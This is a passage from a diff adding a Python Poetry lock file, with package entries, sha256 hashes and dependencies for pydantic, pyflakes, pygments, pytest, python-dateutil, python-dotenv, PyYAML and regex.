"sha256:7522a7666157aa22b812ce14c827574ddccc94f361237ca6ea8bb0d5c38f1629"}, + {file = "pydantic-1.10.11-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:bc64eab9b19cd794a380179ac0e6752335e9555d214cfcb755820333c0784cb3"}, + {file = "pydantic-1.10.11-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:8dc77064471780262b6a68fe67e013298d130414d5aaf9b562c33987dbd2cf4f"}, + {file = "pydantic-1.10.11-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fe429898f2c9dd209bd0632a606bddc06f8bce081bbd03d1c775a45886e2c1cb"}, + {file = "pydantic-1.10.11-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:192c608ad002a748e4a0bed2ddbcd98f9b56df50a7c24d9a931a8c5dd053bd3d"}, + {file = "pydantic-1.10.11-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:ef55392ec4bb5721f4ded1096241e4b7151ba6d50a50a80a2526c854f42e6a2f"}, + {file = "pydantic-1.10.11-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:41e0bb6efe86281623abbeeb0be64eab740c865388ee934cd3e6a358784aca6e"}, + {file = "pydantic-1.10.11-cp38-cp38-win_amd64.whl", hash = "sha256:265a60da42f9f27e0b1014eab8acd3e53bd0bad5c5b4884e98a55f8f596b2c19"}, + {file = "pydantic-1.10.11-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:469adf96c8e2c2bbfa655fc7735a2a82f4c543d9fee97bd113a7fb509bf5e622"}, + {file = "pydantic-1.10.11-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e6cbfbd010b14c8a905a7b10f9fe090068d1744d46f9e0c021db28daeb8b6de1"}, + {file = "pydantic-1.10.11-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:abade85268cc92dff86d6effcd917893130f0ff516f3d637f50dadc22ae93999"}, + {file = "pydantic-1.10.11-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e9738b0f2e6c70f44ee0de53f2089d6002b10c33264abee07bdb5c7f03038303"}, + {file = "pydantic-1.10.11-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:787cf23e5a0cde753f2eabac1b2e73ae3844eb873fd1f5bdbff3048d8dbb7604"}, + {file = "pydantic-1.10.11-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:174899023337b9fc685ac8adaa7b047050616136ccd30e9070627c1aaab53a13"}, + {file = "pydantic-1.10.11-cp39-cp39-win_amd64.whl", hash = "sha256:1954f8778489a04b245a1e7b8b22a9d3ea8ef49337285693cf6959e4b757535e"}, + {file = "pydantic-1.10.11-py3-none-any.whl", hash = "sha256:008c5e266c8aada206d0627a011504e14268a62091450210eda7c07fabe6963e"}, + {file = "pydantic-1.10.11.tar.gz", hash = "sha256:f66d479cf7eb331372c470614be6511eae96f1f120344c25f3f9bb59fb1b5528"}, +] + +[package.dependencies] +typing-extensions = ">=4.2.0" + +[package.extras] +dotenv = ["python-dotenv (>=0.10.4)"] +email = ["email-validator (>=1.0.3)"] + +[[package]] +name = "pyflakes" +version = "2.5.0" +description = "passive checker of Python programs" +optional = false +python-versions = ">=3.6" +files = [ + {file = "pyflakes-2.5.0-py2.py3-none-any.whl", hash = "sha256:4579f67d887f804e67edb544428f264b7b24f435b263c4614f384135cea553d2"}, + {file = "pyflakes-2.5.0.tar.gz", hash = "sha256:491feb020dca48ccc562a8c0cbe8df07ee13078df59813b83959cbdada312ea3"}, +] + +[[package]] +name = "pygments" +version = "2.15.1" +description = "Pygments is a syntax highlighting package written in Python." +optional = false +python-versions = ">=3.7" +files = [ + {file = "Pygments-2.15.1-py3-none-any.whl", hash = "sha256:db2db3deb4b4179f399a09054b023b6a586b76499d36965813c71aa8ed7b5fd1"}, + {file = "Pygments-2.15.1.tar.gz", hash = "sha256:8ace4d3c1dd481894b2005f560ead0f9f19ee64fe983366be1a21e171d12775c"}, +] + +[package.extras] +plugins = ["importlib-metadata"] + +[[package]] +name = "pytest" +version = "7.4.0" +description = "pytest: simple powerful testing with Python" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pytest-7.4.0-py3-none-any.whl", hash = "sha256:78bf16451a2eb8c7a2ea98e32dc119fd2aa758f1d5d66dbf0a59d69a3969df32"}, + {file = "pytest-7.4.0.tar.gz", hash = "sha256:b4bf8c45bd59934ed84001ad51e11b4ee40d40a1229d2c79f9c592b0a3f6bd8a"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "sys_platform == \"win32\""} +iniconfig = "*" +packaging = "*" +pluggy = ">=0.12,<2.0" + +[package.extras] +testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "setuptools", "xmlschema"] + +[[package]] +name = "python-dateutil" +version = "2.8.2" +description = "Extensions to the standard Python datetime module" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" +files = [ + {file = "python-dateutil-2.8.2.tar.gz", hash = "sha256:0123cacc1627ae19ddf3c27a5de5bd67ee4586fbdd6440d9748f8abb483d3e86"}, + {file = "python_dateutil-2.8.2-py2.py3-none-any.whl", hash = "sha256:961d03dc3453ebbc59dbdea9e4e11c5651520a876d0f4db161e8674aae935da9"}, +] + +[package.dependencies] +six = ">=1.5" + +[[package]] +name = "python-dotenv" +version = "1.0.0" +description = "Read key-value pairs from a .env file and set them as environment variables" +optional = false +python-versions = ">=3.8" +files = [ + {file = "python-dotenv-1.0.0.tar.gz", hash = "sha256:a8df96034aae6d2d50a4ebe8216326c61c3eb64836776504fcca410e5937a3ba"}, + {file = "python_dotenv-1.0.0-py3-none-any.whl", hash = "sha256:f5971a9226b701070a4bf2c38c89e5a3f0d64de8debda981d1db98583009122a"}, +] + +[package.extras] +cli = ["click (>=5.0)"] + +[[package]] +name = "pyyaml" +version = "6.0" +description = "YAML parser and emitter for Python" +optional = false +python-versions = ">=3.6" +files = [ + {file = "PyYAML-6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d4db7c7aef085872ef65a8fd7d6d09a14ae91f691dec3e87ee5ee0539d516f53"}, + {file = "PyYAML-6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9df7ed3b3d2e0ecfe09e14741b857df43adb5a3ddadc919a2d94fbdf78fea53c"}, + {file = "PyYAML-6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:77f396e6ef4c73fdc33a9157446466f1cff553d979bd00ecb64385760c6babdc"}, + {file = "PyYAML-6.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a80a78046a72361de73f8f395f1f1e49f956c6be882eed58505a15f3e430962b"}, + {file = "PyYAML-6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:f84fbc98b019fef2ee9a1cb3ce93e3187a6df0b2538a651bfb890254ba9f90b5"}, + {file = "PyYAML-6.0-cp310-cp310-win32.whl", hash = "sha256:2cd5df3de48857ed0544b34e2d40e9fac445930039f3cfe4bcc592a1f836d513"}, + {file = "PyYAML-6.0-cp310-cp310-win_amd64.whl", hash = "sha256:daf496c58a8c52083df09b80c860005194014c3698698d1a57cbcfa182142a3a"}, + {file = "PyYAML-6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d4b0ba9512519522b118090257be113b9468d804b19d63c71dbcf4a48fa32358"}, + {file = "PyYAML-6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:81957921f441d50af23654aa6c5e5eaf9b06aba7f0a19c18a538dc7ef291c5a1"}, + {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:afa17f5bc4d1b10afd4466fd3a44dc0e245382deca5b3c353d8b757f9e3ecb8d"}, + {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dbad0e9d368bb989f4515da330b88a057617d16b6a8245084f1b05400f24609f"}, + {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:432557aa2c09802be39460360ddffd48156e30721f5e8d917f01d31694216782"}, + {file = "PyYAML-6.0-cp311-cp311-win32.whl", hash = "sha256:bfaef573a63ba8923503d27530362590ff4f576c626d86a9fed95822a8255fd7"}, + {file = "PyYAML-6.0-cp311-cp311-win_amd64.whl", hash = "sha256:01b45c0191e6d66c470b6cf1b9531a771a83c1c4208272ead47a3ae4f2f603bf"}, + {file = "PyYAML-6.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:897b80890765f037df3403d22bab41627ca8811ae55e9a722fd0392850ec4d86"}, + {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:50602afada6d6cbfad699b0c7bb50d5ccffa7e46a3d738092afddc1f9758427f"}, + {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:48c346915c114f5fdb3ead70312bd042a953a8ce5c7106d5bfb1a5254e47da92"}, + {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:98c4d36e99714e55cfbaaee6dd5badbc9a1ec339ebfc3b1f52e293aee6bb71a4"}, + {file = "PyYAML-6.0-cp36-cp36m-win32.whl", hash = "sha256:0283c35a6a9fbf047493e3a0ce8d79ef5030852c51e9d911a27badfde0605293"}, + {file = "PyYAML-6.0-cp36-cp36m-win_amd64.whl", hash = "sha256:07751360502caac1c067a8132d150cf3d61339af5691fe9e87803040dbc5db57"}, + {file = "PyYAML-6.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:819b3830a1543db06c4d4b865e70ded25be52a2e0631ccd2f6a47a2822f2fd7c"}, + {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:473f9edb243cb1935ab5a084eb238d842fb8f404ed2193a915d1784b5a6b5fc0"}, + {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0ce82d761c532fe4ec3f87fc45688bdd3a4c1dc5e0b4a19814b9009a29baefd4"}, + {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:231710d57adfd809ef5d34183b8ed1eeae3f76459c18fb4a0b373ad56bedcdd9"}, + {file = "PyYAML-6.0-cp37-cp37m-win32.whl", hash = "sha256:c5687b8d43cf58545ade1fe3e055f70eac7a5a1a0bf42824308d868289a95737"}, + {file = "PyYAML-6.0-cp37-cp37m-win_amd64.whl", hash = "sha256:d15a181d1ecd0d4270dc32edb46f7cb7733c7c508857278d3d378d14d606db2d"}, + {file = "PyYAML-6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:0b4624f379dab24d3725ffde76559cff63d9ec94e1736b556dacdfebe5ab6d4b"}, + {file = "PyYAML-6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:213c60cd50106436cc818accf5baa1aba61c0189ff610f64f4a3e8c6726218ba"}, + {file = "PyYAML-6.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9fa600030013c4de8165339db93d182b9431076eb98eb40ee068700c9c813e34"}, + {file = "PyYAML-6.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:277a0ef2981ca40581a47093e9e2d13b3f1fbbeffae064c1d21bfceba2030287"}, + {file = "PyYAML-6.0-cp38-cp38-win32.whl", hash = "sha256:d4eccecf9adf6fbcc6861a38015c2a64f38b9d94838ac1810a9023a0609e1b78"}, + {file = "PyYAML-6.0-cp38-cp38-win_amd64.whl", hash = "sha256:1e4747bc279b4f613a09eb64bba2ba602d8a6664c6ce6396a4d0cd413a50ce07"}, + {file = "PyYAML-6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:055d937d65826939cb044fc8c9b08889e8c743fdc6a32b33e2390f66013e449b"}, + {file = "PyYAML-6.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e61ceaab6f49fb8bdfaa0f92c4b57bcfbea54c09277b1b4f7ac376bfb7a7c174"}, + {file = "PyYAML-6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d67d839ede4ed1b28a4e8909735fc992a923cdb84e618544973d7dfc71540803"}, + {file = "PyYAML-6.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cba8c411ef271aa037d7357a2bc8f9ee8b58b9965831d9e51baf703280dc73d3"}, + {file = "PyYAML-6.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:40527857252b61eacd1d9af500c3337ba8deb8fc298940291486c465c8b46ec0"}, + {file = "PyYAML-6.0-cp39-cp39-win32.whl", hash = "sha256:b5b9eccad747aabaaffbc6064800670f0c297e52c12754eb1d976c57e4f74dcb"}, + {file = "PyYAML-6.0-cp39-cp39-win_amd64.whl", hash = "sha256:b3d267842bf12586ba6c734f89d1f5b871df0273157918b0ccefa29deb05c21c"}, + {file = "PyYAML-6.0.tar.gz", hash = "sha256:68fb519c14306fec9720a2a5b45bc9f0c8d1b9c72adf45c37baedfcd949c35a2"}, +] + +[[package]] +name = "regex" +version = "2023.6.3" +description = "Alternative regular expression module, to replace re." +optional = false +python-versions = ">=3.6" +files = [ + {file = "regex-2023.6.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:824bf3ac11001849aec3fa1d69abcb67aac3e150a933963fb12bda5151fe1bfd"}, + {file = "regex-2023.6.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:05ed27acdf4465c95826962528f9e8d41dbf9b1aa8531a387dee6ed215a3e9ef"}, + {file = "regex-2023.6.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b49c764f88a79160fa64f9a7b425620e87c9f46095ef9c9920542ab2495c8bc"}, + {file = "regex-2023.6.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8e3f1316c2293e5469f8f09dc2d76efb6c3982d3da91ba95061a7e69489a14ef"}, + {file = "regex-2023.6.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:43e1dd9d12df9004246bacb79a0e5886b3b6071b32e41f83b0acbf293f820ee8"}, + {file = "regex-2023.6.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4959e8bcbfda5146477d21c3a8ad81b185cd252f3d0d6e4724a5ef11c012fb06"}, + {file = "regex-2023.6.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:af4dd387354dc83a3bff67127a124c21116feb0d2ef536805c454721c5d7993d"}, + {file = "regex-2023.6.3-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:2239d95d8e243658b8dbb36b12bd10c33ad6e6933a54d36ff053713f129aa536"}, + {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:890e5a11c97cf0d0c550eb661b937a1e45431ffa79803b942a057c4fb12a2da2"}, + {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:a8105e9af3b029f243ab11ad47c19b566482c150c754e4c717900a798806b222"}, + {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:25be746a8ec7bc7b082783216de8e9473803706723b3f6bef34b3d0ed03d57e2"}, + {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:3676f1dd082be28b1266c93f618ee07741b704ab7b68501a173ce7d8d0d0ca18"}, + {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:10cb847aeb1728412c666ab2e2000ba6f174f25b2bdc7292e7dd71b16db07568"}, + {file = "regex-2023.6.3-cp310-cp310-win32.whl", hash = "sha256:dbbbfce33cd98f97f6bffb17801b0576e653f4fdb1d399b2ea89638bc8d08ae1"}, + {file = "regex-2023.6.3-cp310-cp310-win_amd64.whl", hash = "sha256:c5f8037000eb21e4823aa485149f2299eb589f8d1fe4b448036d230c3f4e68e0"}, + {file = "regex-2023.6.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c123f662be8ec5ab4ea72ea300359023a5d1df095b7ead76fedcd8babbedf969"}, + {file = "regex-2023.6.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9edcbad1f8a407e450fbac88d89e04e0b99a08473f666a3f3de0fd292badb6aa"}, + {file = "regex-2023.6.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dcba6dae7de533c876255317c11f3abe4907ba7d9aa15d13e3d9710d4315ec0e"}, + {file = "regex-2023.6.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:29cdd471ebf9e0f2fb3cac165efedc3c58db841d83a518b082077e612d3ee5df"}, + {file = "regex-2023.6.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:12b74fbbf6cbbf9dbce20eb9b5879469e97aeeaa874145517563cca4029db65c"}, + {file = "regex-2023.6.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0c29ca1bd61b16b67be247be87390ef1d1ef702800f91fbd1991f5c4421ebae8"}, + {file = "regex-2023.6.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d77f09bc4b55d4bf7cc5eba785d87001d6757b7c9eec237fe2af57aba1a071d9"}, + {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:ea353ecb6ab5f7e7d2f4372b1e779796ebd7b37352d290096978fea83c4dba0c"}, + {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:10590510780b7541969287512d1b43f19f965c2ece6c9b1c00fc367b29d8dce7"}, + {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:e2fbd6236aae3b7f9d514312cdb58e6494ee1c76a9948adde6eba33eb1c4264f"}, + {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:6b2675068c8b56f6bfd5a2bda55b8accbb96c02fd563704732fd1c95e2083461"}, + {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:74419d2b50ecb98360cfaa2974da8689cb3b45b9deff0dcf489c0d333bcc1477"}, + {file = "regex-2023.6.3-cp311-cp311-win32.whl", hash = "sha256:fb5ec16523dc573a4b277663a2b5a364e2099902d3944c9419a40ebd56a118f9"}, + {file = "regex-2023.6.3-cp311-cp311-win_amd64.whl", hash = "sha256:09e4a1a6acc39294a36b7338819b10baceb227f7f7dbbea0506d419b5a1dd8af"}, + {file = "regex-2023.6.3-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:0654bca0cdf28a5956c83839162692725159f4cda8d63e0911a2c0dc76166525"}, + {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:463b6a3ceb5ca952e66550a4532cef94c9a0c80dc156c4cc343041951aec1697"}, + {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:87b2a5bb5e78ee0ad1de71c664d6eb536dc3947a46a69182a90f4410f5e3f7dd"}, + {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6343c6928282c1f6a9db41f5fd551662310e8774c0e5ebccb767002fcf663ca9"}, + {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b6192d5af2ccd2a38877bfef086d35e6659566a335b1492786ff254c168b1693"}, + {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:74390d18c75054947e4194019077e243c06fbb62e541d8817a0fa822ea310c14"}, + {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:742e19a90d9bb2f4a6cf2862b8b06dea5e09b96c9f2df1779e53432d7275331f"}, + {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:8abbc5d54ea0ee80e37fef009e3cec5dafd722ed3c829126253d3e22f3846f1e"}, + {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:c2b867c17a7a7ae44c43ebbeb1b5ff406b3e8d5b3e14662683e5e66e6cc868d3"}, + {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:d831c2f8ff278179705ca59f7e8524069c1a989e716a1874d6d1aab6119d91d1"}, + {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:ee2d1a9a253b1729bb2de27d41f696ae893507c7db224436abe83ee25356f5c1"}, + {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:61474f0b41fe1a80e8dfa70f70ea1e047387b7cd01c85ec88fa44f5d7561d787"}, + {file = "regex-2023.6.3-cp36-cp36m-win32.whl", hash = "sha256:0b71e63226e393b534105fcbdd8740410dc6b0854c2bfa39bbda6b0d40e59a54"}, + {file = "regex-2023.6.3-cp36-cp36m-win_amd64.whl", hash = "sha256:bbb02fd4462f37060122e5acacec78e49c0fbb303c30dd49c7f493cf21fc5b27"}, + {file = "regex-2023.6.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:b862c2b9d5ae38a68b92e215b93f98d4c5e9454fa36aae4450f61dd33ff48487"}, + {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:976d7a304b59ede34ca2921305b57356694f9e6879db323fd90a80f865d355a3"}, + {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:83320a09188e0e6c39088355d423aa9d056ad57a0b6c6381b300ec1a04ec3d16"}, + {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9427a399501818a7564f8c90eced1e9e20709ece36be701f394ada99890ea4b3"}, + {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7178bbc1b2ec40eaca599d13c092079bf529679bf0371c602edaa555e10b41c3"}, + {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:837328d14cde912af625d5f303ec29f7e28cdab588674897baafaf505341f2fc"}, + {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:2d44dc13229905ae96dd2ae2dd7cebf824ee92bc52e8cf03dcead37d926da019"}, + {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:d54af539295392611e7efbe94e827311eb8b29668e2b3f4cadcfe6f46df9c777"}, + {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:7117d10690c38a622e54c432dfbbd3cbd92f09401d622902c32f6d377e2300ee"}, + {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:bb60b503ec8a6e4e3e03a681072fa3a5adcbfa5479fa2d898ae2b4a8e24c4591"}, + {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:65ba8603753cec91c71de423a943ba506363b0e5c3fdb913ef8f9caa14b2c7e0"}, + {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:271f0bdba3c70b58e6f500b205d10a36fb4b58bd06ac61381b68de66442efddb"}, + {file = "regex-2023.6.3-cp37-cp37m-win32.whl", hash = "sha256:9beb322958aaca059f34975b0df135181f2e5d7a13b84d3e0e45434749cb20f7"}, + {file = "regex-2023.6.3-cp37-cp37m-win_amd64.whl", hash = "sha256:fea75c3710d4f31389eed3c02f62d0b66a9da282521075061ce875eb5300cf23"}, + {file = "regex-2023.6.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:8f56fcb7ff7bf7404becdfc60b1e81a6d0561807051fd2f1860b0d0348156a07"}, + {file = "regex-2023.6.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:d2da3abc88711bce7557412310dfa50327d5769a31d1c894b58eb256459dc289"}, + {file = "regex-2023.6.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a99b50300df5add73d307cf66abea093304a07eb017bce94f01e795090dea87c"}, + {file = "regex-2023.6.3-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5708089ed5b40a7b2dc561e0c8baa9535b77771b64a8330b684823cfd5116036"}, + {file = "regex-2023.6.3-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:687ea9d78a4b1cf82f8479cab23678aff723108df3edeac098e5b2498879f4a7"}, + {file = "regex-2023.6.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4d3850beab9f527f06ccc94b446c864059c57651b3f911fddb8d9d3ec1d1b25d"}, + {file = "regex-2023.6.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e8915cc96abeb8983cea1df3c939e3c6e1ac778340c17732eb63bb96247b91d2"}, + {file = "regex-2023.6.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:841d6e0e5663d4c7b4c8099c9997be748677d46cbf43f9f471150e560791f7ff"}, + {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:9edce5281f965cf135e19840f4d93d55b3835122aa76ccacfd389e880ba4cf82"}, + {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:b956231ebdc45f5b7a2e1f90f66a12be9610ce775fe1b1d50414aac1e9206c06"}, + {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:36efeba71c6539d23c4643be88295ce8c82c88bbd7c65e8a24081d2ca123da3f"}, + {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:cf67ca618b4fd34aee78740bea954d7c69fdda419eb208c2c0c7060bb822d747"}, + {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:b4598b1897837067a57b08147a68ac026c1e73b31ef6e36deeeb1fa60b2933c9"}, + {file = "regex-2023.6.3-cp38-cp38-win32.whl", hash = "sha256:f415f802fbcafed5dcc694c13b1292f07fe0befdb94aa8a52905bd115ff41e88"}, + {file = "regex-2023.6.3-cp38-cp38-win_amd64.whl", hash = "sha256:d4f03bb71d482f979bda92e1427f3ec9b220e62a7dd337af0aa6b47bf4498f72"}, + {file = "regex-2023.6.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ccf91346b7bd20c790310c4147eee6ed495a54ddb6737162a36ce9dbef3e4751"}, + {file = "regex-2023.6.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:b28f5024a3a041009eb4c333863d7894d191215b39576535c6734cd88b0fcb68"}, + {file = "regex-2023.6.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e0bb18053dfcfed432cc3ac632b5e5e5c5b7e55fb3f8090e867bfd9b054dbcbf"}, + {file = "regex-2023.6.3-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9a5bfb3004f2144a084a16ce19ca56b8ac46e6fd0651f54269fc9e230edb5e4a"}, + {file = "regex-2023.6.3-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5c6b48d0fa50d8f4df3daf451be7f9689c2bde1a52b1225c5926e3f54b6a9ed1"}, + {file = "regex-2023.6.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:051da80e6eeb6e239e394ae60704d2b566aa6a7aed6f2890a7967307267a5dc6"}, + {file = "regex-2023.6.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a4c3b7fa4cdaa69268748665a1a6ff70c014d39bb69c50fda64b396c9116cf77"}, + {file = 